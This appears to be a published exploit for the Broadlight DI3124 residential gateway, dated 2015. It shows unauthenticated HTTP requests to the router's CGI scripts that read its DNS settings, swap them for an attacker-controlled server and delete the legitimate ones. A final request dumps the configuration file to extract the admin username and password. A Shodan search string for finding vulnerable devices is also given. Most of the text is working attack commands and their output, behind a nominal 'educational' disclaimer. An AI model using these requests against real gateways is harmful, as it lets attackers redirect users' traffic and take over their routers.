Broadlight Gateway DI3124 remote unauth dns change exploit

#Broadlight Residential Gateway DI3124
#  Unauthenticated Remote DNS Change
#
#  Copyright 2015 (c) Todor Donev
#  <todor.donev at gmail.com>
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#
#  No description for morons,
#  script kiddies & noobs !!
#
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
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#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
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#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
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#  responsibility.
#
#  Use them at your own risk!
#
#  ShodanHQ Dork:
#  Server: thttpd/2.25b 29dec2003 Content-Length: 348414


[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/getdns.cgi?"
{"success":true,"totalCount":2,"rows":[{"domain":"googleDNS1","serverip":"8.8.8.8","type":"manual"},
{"domain":"googleDNS2","serverip":"8.8.4.4","type":"manual"}]}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/savedns.cgi?domainname=evilDNS&domainserverip=133.71.33.7"
{success:true,errormsg:"Operation Succeeded"}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/deldns.cgi?serverip=8.8.8.8"
{success:true,errormsg:"Operation Succeeded"}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/deldns.cgi?serverip=8.8.4.4"
{success:true,errormsg:"Operation Succeeded"}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/getconf.cgi" | egrep '(username|password)'
<username>admin</username>
<password>admin</password>